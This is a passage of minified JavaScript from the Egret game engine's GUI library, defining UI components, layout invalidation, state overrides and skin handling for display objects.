c}();d.UIGlobals=b;b.prototype.__class__="egret.gui.UIGlobals"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.initializeCalled=this._initialized=this._updateCompletePendingFlag=!1;this._nestLevel=0;this._enabled=!0;this._minWidth=this._height=this._width=0;this._maxWidth=10000;this._minHeight=0;this._maxHeight=10000;this._measuredHeight=this._measuredWidth=0;this._validateNowFlag=this._invalidateDisplayListFlag=this._invalidateSizeFlag=this._invalidatePropertiesFlag=!1;this._includeInLayout=!0;this._layoutHeightExplicitlySet=this._layoutWidthExplicitlySet=!1;this.touchEnabled=!0;this.addEventListener(a.Event.ADDED_TO_STAGE,this.onAddedToStage,this);this.addEventListener(a.Event.ADDED_TO_STAGE,this.checkInvalidateFlag,this)}__extends(e,c);e.prototype.onAddedToStage=function(f){this.removeEventListener(a.Event.ADDED_TO_STAGE,this.onAddedToStage,this);this._initialize();d.UIGlobals._initlize(this.stage);0<this._nestLevel&&this.checkInvalidateFlag()};Object.defineProperty(e.prototype,"id",{get:function(){return this._id},set:function(f){this._id=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"isPopUp",{get:function(){return this._isPopUp},set:function(f){this._isPopUp=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"owner",{get:function(){return this._owner?this._owner:this.parent},enumerable:!0,configurable:!0});e.prototype.ownerChanged=function(f){this._owner=f};Object.defineProperty(e.prototype,"updateCompletePendingFlag",{get:function(){return this._updateCompletePendingFlag},set:function(f){this._updateCompletePendingFlag=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"initialized",{get:function(){return this._initialized},set:function(f){this._initialized!=f&&(this._initialized=f)&&d.UIEvent.dispatchUIEvent(this,d.UIEvent.CREATION_COMPLETE)},enumerable:!0,configurable:!0});e.prototype._initialize=function(){this.initializeCalled||(d.UIGlobals.stage&&this.removeEventListener(a.Event.ADDED_TO_STAGE,this.onAddedToStage,this),this.initializeCalled=!0,d.UIEvent.dispatchUIEvent(this,d.UIEvent.INITIALIZE),this.createChildren(),this.childrenCreated())};e.prototype.createChildren=function(){};e.prototype.childrenCreated=function(){this.invalidateProperties();this.invalidateSize();this.invalidateDisplayList()};Object.defineProperty(e.prototype,"nestLevel",{get:function(){return this._nestLevel},set:function(g){if(this._nestLevel!=g){for(this._nestLevel=g,0==this._nestLevel?this.addEventListener(a.Event.ADDED_TO_STAGE,this.checkInvalidateFlag,this):this.removeEventListener(a.Event.ADDED_TO_STAGE,this.checkInvalidateFlag,this),g=this.numChildren-1;0<=g;g--){var f=this.getChildAt(g);null!=f&&(f.nestLevel=this._nestLevel+1)}}},enumerable:!0,configurable:!0});e.prototype._addToDisplayList=function(h,g){"undefined"===typeof g&&(g=!0);var f=this.numChildren;h.parent==this&&f--;this._addingChild(h);this._doAddChild(h,f,g);this._childAdded(h);return h};e.prototype._addToDisplayListAt=function(h,g,f){"undefined"===typeof f&&(f=!0);this._addingChild(h);this._doAddChild(h,g,f);this._childAdded(h);return h};e.prototype._removeFromDisplayList=function(h,g){"undefined"===typeof g&&(g=!0);var f=this._children.indexOf(h);if(0<=f){return this._doRemoveChild(f,g),this._childRemoved(h),h}a.Logger.fatal("child\u672a\u88abaddChild\u5230\u8be5parent");return null};e.prototype._removeFromDisplayListAt=function(h,g){"undefined"===typeof g&&(g=!0);if(0<=h&&h<this._children.length){var f=this._doRemoveChild(h,g);this._childRemoved(f);return f}a.Logger.fatal("\u63d0\u4f9b\u7684\u7d22\u5f15\u8d85\u51fa\u8303\u56f4");return null};e.prototype.addChild=function(f){this._addingChild(f);c.prototype.addChild.call(this,f);this._childAdded(f);return f};e.prototype.addChildAt=function(g,f){this._addingChild(g);c.prototype.addChildAt.call(this,g,f);this._childAdded(g);return g};e.prototype._addingChild=function(f){f&&"nestLevel" in f&&(f.nestLevel=this._nestLevel+1)};e.prototype._childAdded=function(f){f instanceof e&&(f._initialize(),f.checkInvalidateFlag())};e.prototype.removeChild=function(f){c.prototype.removeChild.call(this,f);this._childRemoved(f);return f};e.prototype.removeChildAt=function(f){f=c.prototype.removeChildAt.call(this,f);this._childRemoved(f);return f};e.prototype._childRemoved=function(f){f&&"nestLevel" in f&&(f.nestLevel=0)};e.prototype.checkInvalidateFlag=function(f){d.UIGlobals._layoutManager&&(this._invalidatePropertiesFlag&&d.UIGlobals._layoutManager.invalidateProperties(this),this._invalidateSizeFlag&&d.UIGlobals._layoutManager.invalidateSize(this),this._invalidateDisplayListFlag&&d.UIGlobals._layoutManager.invalidateDisplayList(this),this._validateNowFlag&&(d.UIGlobals._layoutManager.validateClient(this),this._validateNowFlag=!1))};Object.defineProperty(e.prototype,"enabled",{get:function(){return this._enabled},set:function(f){this._enabled=f},enumerable:!0,configurable:!0});e.prototype._setWidth=function(f){if(this._width!=f||this._explicitWidth!=f){c.prototype._setWidth.call(this,f),isNaN(f)?this.invalidateSize():this._width=f,this.invalidateProperties(),this.invalidateDisplayList(),this.invalidateParentSizeAndDisplayList()}};Object.defineProperty(e.prototype,"width",{get:function(){return this._width},set:function(f){this._setWidth(f)},enumerable:!0,configurable:!0});e.prototype._setHeight=function(f){if(this._height!=f||this._explicitHeight!=f){c.prototype._setHeight.call(this,f),isNaN(f)?this.invalidateSize():this._height=f,this.invalidateProperties(),this.invalidateDisplayList(),this.invalidateParentSizeAndDisplayList()}};Object.defineProperty(e.prototype,"height",{get:function(){return this._height},set:function(f){this._setHeight(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"scaleX",{get:function(){return this._scaleX},set:function(f){this._setScaleX(f)},enumerable:!0,configurable:!0});e.prototype._setScaleX=function(f){this._scaleX!=f&&(this._scaleX=f,this.invalidateParentSizeAndDisplayList())};Object.defineProperty(e.prototype,"scaleY",{get:function(){return this._scaleY},set:function(f){this._setScaleY(f)},enumerable:!0,configurable:!0});e.prototype._setScaleY=function(f){this._scaleY!=f&&(this._scaleY=f,this.invalidateParentSizeAndDisplayList())};Object.defineProperty(e.prototype,"minWidth",{get:function(){return this._minWidth},set:function(f){this._minWidth!=f&&(this._minWidth=f,this.invalidateSize())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"maxWidth",{get:function(){return this._maxWidth},set:function(f){this._maxWidth!=f&&(this._maxWidth=f,this.invalidateSize())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"minHeight",{get:function(){return this._minHeight},set:function(f){this._minHeight!=f&&(this._minHeight=f,this.invalidateSize())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"maxHeight",{get:function(){return this._maxHeight},set:function(f){this._maxHeight!=f&&(this._maxHeight=f,this.invalidateSize())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"measuredWidth",{get:function(){return this._measuredWidth},set:function(f){this._measuredWidth=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"measuredHeight",{get:function(){return this._measuredHeight},set:function(f){this._measuredHeight=f},enumerable:!0,configurable:!0});e.prototype.setActualSize=function(h,g){var f=!1;this._width!=h&&(this._width=h,f=!0);this._height!=g&&(this._height=g,f=!0);f&&(this.invalidateDisplayList(),this.dispatchResizeEvent())};Object.defineProperty(e.prototype,"x",{get:function(){return this._x},set:function(f){this._x!=f&&(this._x=f,this.invalidateProperties(),this._includeInLayout&&this.parent&&this.parent instanceof e&&this.parent._childXYChanged())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"y",{get:function(){return this._y},set:function(f){this._y!=f&&(this._y=f,this.invalidateProperties(),this._includeInLayout&&this.parent&&this.parent instanceof e&&this.parent._childXYChanged())},enumerable:!0,configurable:!0});e.prototype.invalidateProperties=function(){this._invalidatePropertiesFlag||(this._invalidatePropertiesFlag=!0,this.parent&&d.UIGlobals._layoutManager&&d.UIGlobals._layoutManager.invalidateProperties(this))};e.prototype.validateProperties=function(){this._invalidatePropertiesFlag&&(this.commitProperties(),this._invalidatePropertiesFlag=!1)};e.prototype.invalidateSize=function(){this._invalidateSizeFlag||(this._invalidateSizeFlag=!0,this.parent&&d.UIGlobals._layoutManager&&d.UIGlobals._layoutManager.invalidateSize(this))};e.prototype.validateSize=function(g){"undefined"===typeof g&&(g=!1);if(g){for(g=0;g<this.numChildren;g++){var f=this.getChildAt(g);"validateSize" in f&&f.validateSize(!0)}}this._invalidateSizeFlag&&(this.measureSizes()&&(this.invalidateDisplayList(),this.invalidateParentSizeAndDisplayList()),this._invalidateSizeFlag=!1)};e.prototype.measureSizes=function(){var f=!1;if(!this._invalidateSizeFlag){return f}this.canSkipMeasurement()||(this.measure(),this.measuredWidth<this.minWidth&&(this.measuredWidth=this.minWidth),this.measuredWidth>this.maxWidth&&(this.measuredWidth=this.maxWidth),this.measuredHeight<this.minHeight&&(this.measuredHeight=this.minHeight),this.measuredHeight>this.maxHeight&&(this.measuredHeight=this.maxHeight));if(isNaN(this._oldPreferWidth)){this._oldPreferWidth=this.preferredWidth,this._oldPreferHeight=this.preferredHeight,f=!0}else{if(this.preferredWidth!=this._oldPreferWidth||this.preferredHeight!=this._oldPreferHeight){f=!0}this._oldPreferWidth=this.preferredWidth;this._oldPreferHeight=this.preferredHeight}return f};e.prototype.invalidateDisplayList=function(){this._invalidateDisplayListFlag||(this._invalidateDisplayListFlag=!0,this.parent&&d.UIGlobals._layoutManager&&d.UIGlobals._layoutManager.invalidateDisplayList(this))};e.prototype.validateDisplayList=function(){if(this._invalidateDisplayListFlag){var g=0,f=0,g=this._layoutWidthExplicitlySet?this._width:isNaN(this.explicitWidth)?this.measuredWidth:this._explicitWidth,f=this._layoutHeightExplicitlySet?this._height:isNaN(this.explicitHeight)?this.measuredHeight:this._explicitHeight;isNaN(g)&&(g=0);isNaN(f)&&(f=0);this.setActualSize(g,f);this.updateDisplayList(g,f);this._invalidateDisplayListFlag=!1}};e.prototype.validateNow=function(f){"undefined"===typeof f&&(f=!1);this._validateNowFlag||null==d.UIGlobals._layoutManager?this._validateNowFlag=!0:d.UIGlobals._layoutManager.validateClient(this,f)};e.prototype.invalidateParentSizeAndDisplayList=function(){if(this.parent&&this._includeInLayout&&"invalidateSize" in this.parent){var f=this.parent;f.invalidateSize();f.invalidateDisplayList()}};e.prototype.updateDisplayList=function(g,f){};e.prototype.canSkipMeasurement=function(){return !isNaN(this._explicitWidth)&&!isNaN(this._explicitHeight)};e.prototype.commitProperties=function(){this.oldWidth==this._width&&this.oldHeight==this._height||this.dispatchResizeEvent();this.oldX==this.x&&this.oldY==this.y||this.dispatchMoveEvent()};e.prototype.measure=function(){this._measuredWidth=this._measuredHeight=0};e.prototype.dispatchMoveEvent=function(){this.hasEventListener(d.MoveEvent.MOVE)&&d.MoveEvent.dispatchMoveEvent(this,this.oldX,this.oldY);this.oldX=this.x;this.oldY=this.y};e.prototype._childXYChanged=function(){};e.prototype.dispatchResizeEvent=function(){this.hasEventListener(d.ResizeEvent.RESIZE)&&d.ResizeEvent.dispatchResizeEvent(this,this.oldWidth,this.oldHeight);this.oldWidth=this._width;this.oldHeight=this._height};Object.defineProperty(e.prototype,"includeInLayout",{get:function(){return this._includeInLayout},set:function(f){this._includeInLayout!=f&&(this._includeInLayout=!0,this.invalidateParentSizeAndDisplayList(),this._includeInLayout=f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"left",{get:function(){return this._left},set:function(f){this._left!=f&&(this._left=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"right",{get:function(){return this._right},set:function(f){this._right!=f&&(this._right=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"top",{get:function(){return this._top},set:function(f){this._top!=f&&(this._top=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"bottom",{get:function(){return this._bottom},set:function(f){this._bottom!=f&&(this._bottom=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"horizontalCenter",{get:function(){return this._horizontalCenter},set:function(f){this._horizontalCenter!=f&&(this._horizontalCenter=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"verticalCenter",{get:function(){return this._verticalCenter},set:function(f){this._verticalCenter!=f&&(this._verticalCenter=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"percentWidth",{get:function(){return this._percentWidth},set:function(f){this._percentWidth!=f&&(this._percentWidth=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"percentHeight",{get:function(){return this._percentHeight},set:function(f){this._percentHeight!=f&&(this._percentHeight=f,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});e.prototype.setLayoutBoundsSize=function(g,f){isNaN(g)?(this._layoutWidthExplicitlySet=!1,g=this.preferredWidth):this._layoutWidthExplicitlySet=!0;isNaN(f)?(this._layoutHeightExplicitlySet=!1,f=this.preferredHeight):this._layoutHeightExplicitlySet=!0;this.setActualSize(g/this._scaleX,f/this._scaleY)};e.prototype.setLayoutBoundsPosition=function(h,g){0>this._scaleX&&(h+=this.layoutBoundsWidth);0>this._scaleY&&(g+=this.layoutBoundsHeight);var f=!1;this._x!=h&&(this._x=h,f=!0);this._y!=g&&(this._y=g,f=!0);f&&this.dispatchMoveEvent()};Object.defineProperty(e.prototype,"preferredWidth",{get:function(){var g=this._hasWidthSet?this._explicitWidth:this._measuredWidth,f=this._scaleX;0>f&&(f=-f);return g*f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"preferredHeight",{get:function(){var g=this._hasHeightSet?this._explicitHeight:this._measuredHeight,f=this._scaleY;0>f&&(f=-f);return g*f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"preferredX",{get:function(){return 0<=this._scaleX?this._x:this._x-this.preferredWidth},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"preferredY",{get:function(){return 0<=this._scaleY?this._y:this._y-this.preferredHeight},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"layoutBoundsX",{get:function(){return 0<=this._scaleX?this._x:this._x-this.layoutBoundsWidth},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"layoutBoundsY",{get:function(){return 0<=this._scaleY?this._y:this._y-this.layoutBoundsHeight},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"layoutBoundsWidth",{get:function(){var g=0,g=this._layoutWidthExplicitlySet?this._width:this._hasWidthSet?this._explicitWidth:this._measuredWidth,f=this._scaleX;0>f&&(f=-f);return g*f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"layoutBoundsHeight",{get:function(){var g=0,g=this._layoutHeightExplicitlySet?this._height:this._hasHeightSet?this._explicitHeight:this._measuredHeight,f=this.scaleY;0>f&&(f=-f);return g*f},enumerable:!0,configurable:!0});return e}(a.DisplayObjectContainer);d.UIComponent=b;b.prototype.__class__="egret.gui.UIComponent"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.ABOVE="above";c.BELOW="below";c.CENTER="center";c.TOP_LEFT="topLeft";c.LEFT="left";c.RIGHT="right";return c}();d.PopUpPosition=b;b.prototype.__class__="egret.gui.PopUpPosition"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.AUTO="auto";c.OFF="off";c.ON="on";return c}();d.ScrollPolicy=b;b.prototype.__class__="egret.gui.ScrollPolicy"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(f){"undefined"===typeof f&&(f=null);c.call(this);this.generator=f}__extends(e,c);e.prototype.newInstance=function(){return new this.generator};return e}(a.HashObject);d.ClassFactory=b;b.prototype.__class__="egret.gui.ClassFactory"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this)}__extends(e,c);e.prototype.initialize=function(f){};e.prototype.apply=function(f){};e.prototype.remove=function(f){};e.prototype.initializeFromObject=function(g){for(var f in g){this[f]=g[f]}return this};return e}(a.HashObject);d.OverrideBase=b;b.prototype.__class__="egret.gui.OverrideBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(i,j,h,g){c.call(this);this.propertyName="";this.position=e.LAST;this.target=i;this.propertyName=j;this.position=h;this.relativeTo=g}__extends(e,c);e.prototype.initialize=function(g){if((g=g[this.target])&&!(g instanceof d.SkinnableComponent)&&"_initialize" in g){try{g._initialize()}catch(f){}}};e.prototype.apply=function(j){var g,k;try{k=j[this.relativeTo]}catch(i){}var h=j[this.target];j=this.propertyName?j[this.propertyName]:j;if(h&&j){switch(this.position){case e.FIRST:g=0;break;case e.LAST:g=-1;break;case e.BEFORE:g=j.getElementIndex(k);break;case e.AFTER:g=j.getElementIndex(k)+1}-1==g&&(g=j.numElements);j.addElementAt(h,g)}};e.prototype.remove=function(g){var f=null==this.propertyName||""==this.propertyName?g:g[this.propertyName];(g=g[this.target])&&f&&-1!=f.getElementIndex(g)&&f.removeElement(g)};e.FIRST="first";e.LAST="last";e.BEFORE="before";e.AFTER="after";return e}(d.OverrideBase);d.AddItems=b;b.prototype.__class__="egret.gui.AddItems"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,f,h){c.call(this);this.target=g;this.name=f;this.value=h}__extends(e,c);e.prototype.apply=function(f){f=null==this.target||""==this.target?f:f[this.target];null!=f&&(this.oldValue=f[this.name],this.setPropertyValue(f,this.name,this.value,this.oldValue))};e.prototype.remove=function(f){f=null==this.target||""==this.target?f:f[this.target];null!=f&&(this.setPropertyValue(f,this.name,this.oldValue,this.oldValue),this.oldValue=null)};e.prototype.setPropertyValue=function(h,g,f,i){h[g]=void 0===f||null===f?f:"boolean"==typeof i?this.toBoolean(f):f};e.prototype.toBoolean=function(f){return"string"==typeof f?"true"==f.toLowerCase():!1!=f};return e}(d.OverrideBase);d.SetProperty=b;b.prototype.__class__="egret.gui.SetProperty"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,f){c.call(this);this.initialized=!1;this.name=g;this.overrides=f}__extends(e,c);e.prototype.initialize=function(g){if(!this.initialized){this.initialized=!0;for(var f=0;f<this.overrides.length;f++){this.overrides[f].initialize(g)}}};return e}(a.HashObject);d.State=b;b.prototype.__class__="egret.gui.State"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.adjustRelativeByXY=function(i,o){"undefined"===typeof o&&(o=null);if(i&&(o||(o=i.parent),o)){var h=i.x,p=i.y,n=i.layoutBoundsHeight,m=i.layoutBoundsWidth,l=o.width,j=o.height;isNaN(i.left)||(i.left=h);isNaN(i.right)||(i.right=l-h-m);isNaN(i.horizontalCenter)||(i.horizontalCenter=h+0.5*m-0.5*l);isNaN(i.top)||(i.top=p);isNaN(i.bottom)||(i.bottom=j-p-n);isNaN(i.verticalCenter)||(i.verticalCenter=0.5*n-0.5*j+p)}};return c}();d.LayoutUtil=b;b.prototype.__class__="egret.gui.LayoutUtil"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b={};d.getScale9Grid=function(c){if(b[c]){return b[c]}if(!c){return null}var e=c.split(","),e=new a.Rectangle(parseInt(e[0]),parseInt(e[1]),parseInt(e[2]),parseInt(e[3]));return b[c]=e}})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,f){"undefined"===typeof f&&(f=!0);c.call(this);this.fillMode="scale";this.contentReused=this.createChildrenCalled=this.sourceChanged=!1;this.autoScale=!0;this.touchChildren=!1;g&&(this.source=g);this.autoScale=f}__extends(e,c);Object.defineProperty(e.prototype,"source",{get:function(){return this._source},set:function(f){this._source!=f&&(this._source=f,this.createChildrenCalled?this.parseSource():this.sourceChanged=!0)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"content",{get:function(){return this._content},enumerable:!0,configurable:!0});e.prototype.createChildren=function(){c.prototype.createChildren.call(this);this.sourceChanged&&this.parseSource();this.createChildrenCalled=!0};e.prototype.parseSource=function(){this.sourceChanged=!1;var g=e.assetAdapter;g||(g=this.getAdapter());if(this._source){var f=this.contentReused?null:this._content;this.contentReused=!0;g.getAsset(this._source,this.contentChanged,this,f)}else{this.contentChanged(null,null)}};e.prototype.getAdapter=function(){var g;try{g=a.Injector.getInstance("egret.gui.IAssetAdapter")}catch(f){g=new d.DefaultAssetAdapter}return e.assetAdapter=g};e.prototype.contentChanged=function(h,g){if(g===this._source){var f=this._content;this._content=h;f!==h&&(f instanceof a.DisplayObject&&this._removeFromDisplayList(f),h instanceof a.DisplayObject&&this._addToDisplayListAt(h,0));this.invalidateSize();this.invalidateDisplayList();this.contentReused=!1;this.hasEventListener(d.UIEvent.CONTENT_CHANGED)&&d.UIEvent.dispatchUIEvent(this,d.UIEvent.CONTENT_CHANGED)}};e.prototype.measure=function(){c.prototype.measure.call(this);var f=this._content;f instanceof a.DisplayObject?"preferredWidth" in f?(this.measuredWidth=f.preferredWidth,this.measuredHeight=f.preferredHeight):(this.measuredWidth=f.width*f.scaleX,this.measuredHeight=f.height*f.scaleY):f instanceof a.Texture&&(this.measuredWidth=f._textureWidth,this.measuredHeight=f._textureHeight)};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f);var h=this._content;this.autoScale&&h instanceof a.DisplayObject&&("setLayoutBoundsSize" in h?h.setLayoutBoundsSize(g,f):(h.width=g/h.scaleX,h.height=f/h.scaleY));this._setSizeDirty()};e.prototype._render=function(g){if(this._content instanceof a.Texture){var f=this._content;this._texture_to_render=f;var h;this.autoScale?(h=this._width,f=this._height):(h=f.textureWidth,f=f.textureHeight);a.Bitmap._drawBitmap(g,h,f,this)}else{this._texture_to_render=null}c.prototype._render.call(this,g)};e.prototype._measureBounds=function(){var k=c.prototype._measureBounds.call(this);if(this._content instanceof a.Texture){var g=this._content,l=this.width,j=this.height,i=Math.floor(g._offsetX*l/g._textureWidth),g=Math.floor(g._offsetY*j/g._textureHeight);i<k.x&&(k.x=i);g<k.y&&(k.y=g);i+l>k.right&&(k.right=i+l);g+j>k.bottom&&(k.bottom=g+j)}return k};e.prototype.addChild=function(f){throw Error("addChild()"+e.errorStr+"addElement()\u4ee3\u66ff")};e.prototype.addChildAt=function(g,f){throw Error("addChildAt()"+e.errorStr+"addElementAt()\u4ee3\u66ff")};e.prototype.removeChild=function(f){throw Error("removeChild()"+e.errorStr+"removeElement()\u4ee3\u66ff")};e.prototype.removeChildAt=function(f){throw Error("removeChildAt()"+e.errorStr+"removeElementAt()\u4ee3\u66ff")};e.prototype.setChildIndex=function(g,f){throw Error("setChildIndex()"+e.errorStr+"setElementIndex()\u4ee3\u66ff")};e.prototype.swapChildren=function(g,f){throw Error("swapChildren()"+e.errorStr+"swapElements()\u4ee3\u66ff")};e.prototype.swapChildrenAt=function(g,f){throw Error("swapChildrenAt()"+e.errorStr+"swapElementsAt()\u4ee3\u66ff")};e.errorStr="\u5728\u6b64\u7ec4\u4ef6\u4e2d\u4e0d\u53ef\u7528\uff0c\u82e5\u6b64\u7ec4\u4ef6\u4e3a\u5bb9\u5668\u7c7b\uff0c\u8bf7\u4f7f\u7528";return e}(d.UIComponent);d.UIAsset=b;b.prototype.__class__="egret.gui.UIAsset"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.hostComponentKey="egret.gui.SkinnableComponent";this.stateIsDirty=this.skinLayoutEnabled=this.createChildrenCalled=this._skinNameExplicitlySet=!1;this.explicitMouseEnabled=this.explicitMouseChildren=this._autoMouseEnabled=!0}__extends(e,c);Object.defineProperty(e.prototype,"skinName",{get:function(){return this._skinName},set:function(f){this._skinName!=f&&(this._skinName=f,this._skinNameExplicitlySet=!0,this.createChildrenCalled&&this.parseSkinName())},enumerable:!0,configurable:!0});e.prototype.createChildren=function(){c.prototype.createChildren.call(this);this.parseSkinName();this.createChildrenCalled=!0};e.prototype.parseSkinName=function(){var g=e.skinAdapter;g||(g=this.getSkinAdapter());g=g.getSkin(this._skinName,this.hostComponentKey);if(!g){var f=e._defaultTheme;f&&(g=f.getDefaultSkin(this))}this._setSkin(g)};e.prototype.getSkinAdapter=function(){var g;try{g=a.Injector.getInstance("egret.gui.ISkinAdapter")}catch(f){g=new d.DefaultSkinAdapter}return e.skinAdapter=g};Object.defineProperty(e.prototype,"skin",{get:function(){return this._skin},enumerable:!0,configurable:!0});e.prototype._setSkin=function(g){var f=this._skin;this.detachSkin(f);f instanceof a.DisplayObject&&this._removeFromDisplayList(f);this._skin=g;g instanceof a.DisplayObject&&this._addToDisplayListAt(this._skin,0);this.attachSkin(g);this.invalidateSkinState();this.invalidateSize();this.invalidateDisplayList();this.hasEventListener(d.UIEvent.SKIN_CHANGED)&&d.UIEvent.dispatchUIEvent(this,d.UIEvent.SKIN_CHANGED)};e.prototype.attachSkin=function(f){f&&"hostComponent" in f&&(f.hostComponent=this,this.findSkinParts());this.skinLayoutEnabled=!f||f instanceof a.DisplayObject?!1:!0};e.prototype.findSkinParts=function(){var k=this._skin;if(k&&"skinParts" in k){for(var h=k.skinParts,g=h.length,l=0;l<g;l++){var j=h[l];if(j in k){try{this[j]=k[j],this.partAdded(j,k[j])}catch(i){}}}}};e.prototype.detachSkin=function(i){if(i&&"skinParts" in i){for(var g=i.skinParts,f=g.length,j=0;j<f;j++){var h=g[j];h in this&&(null!=this[h]&&this.partRemoved(h,this[h]),this[h]=null)}i.hostComponent=null}};e.prototype.partAdded=function(g,f){d.SkinPartEvent.dispatchSkinPartEvent(this,d.SkinPartEvent.PART_ADDED,g,f)};e.prototype.partRemoved=function(g,f){d.SkinPartEvent.dispatchSkinPartEvent(this,d.SkinPartEvent.PART_REMOVED,g,f)};e.prototype.invalidateSkinState=function(){this.stateIsDirty||(this.stateIsDirty=!0,this.invalidateProperties())};e.prototype.validateSkinState=function(){var g=this.getCurrentSkinState(),f=this._skin;f&&"currentState" in f&&(f.currentState=g);this.hasEventListener("stateChanged")&&this.dispatchEventWith("stateChanged")};Object.defineProperty(e.prototype,"autoTouchEnabled",{get:function(){return this._autoMouseEnabled},set:function(f){this._autoMouseEnabled!=f&&((this._autoMouseEnabled=f)?(this._touchChildren=this.enabled?this.explicitMouseChildren:!1,this._touchEnabled=this.enabled?this.explicitMouseEnabled:!1):(this._touchChildren=this.explicitMouseChildren,this._touchEnabled=this.explicitMouseEnabled))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"touchChildren",{get:function(){return this._touchChildren},set:function(f){this.enabled&&(this._touchChildren=f);this.explicitMouseChildren=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"touchEnabled",{get:function(){return this._touchEnabled},set:function(f){this.enabled&&(this._touchEnabled=f);this.explicitMouseEnabled=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"enabled",{get:function(){return this._enabled},set:function(f){this._setEnabled(f)},enumerable:!0,configurable:!0});e.prototype._setEnabled=function(f){this._enabled!=f&&(this._enabled=f,this._autoMouseEnabled&&(this._touchChildren=f?this.explicitMouseChildren:!1,this._touchEnabled=f?this.explicitMouseEnabled:!1),this.invalidateSkinState())};e.prototype.getCurrentSkinState=function(){return this.enabled?"normal":"disabled"};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this.stateIsDirty&&(this.stateIsDirty=!1,this.validateSkinState())};e.prototype._childXYChanged=function(){this.skinLayoutEnabled&&(this.invalidateSize(),this.invalidateDisplayList())};e.prototype.measure=function(){c.prototype.measure.call(this);var f=this._skin;f&&(this.skinLayoutEnabled?(f.measure(),this.measuredWidth=f.preferredWidth,this.measuredHeight=f.preferredHeight):"preferredWidth" in f?(this.measuredWidth=f.preferredWidth,this.measuredHeight=f.preferredHeight):(this.measuredWidth=f.width,this.measuredHeight=f.height))};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f);var h=this._skin;h&&(this.skinLayoutEnabled?h.updateDisplayList(g,f):"setLayoutBoundsSize" in h?h.setLayoutBoundsSize(g,f):h instanceof a.DisplayObject&&(h.scaleX=0==h.width?1:g/h.width,h.scaleY=0==h.height?1:f/h.height))};e.prototype.addChild=function(f){throw 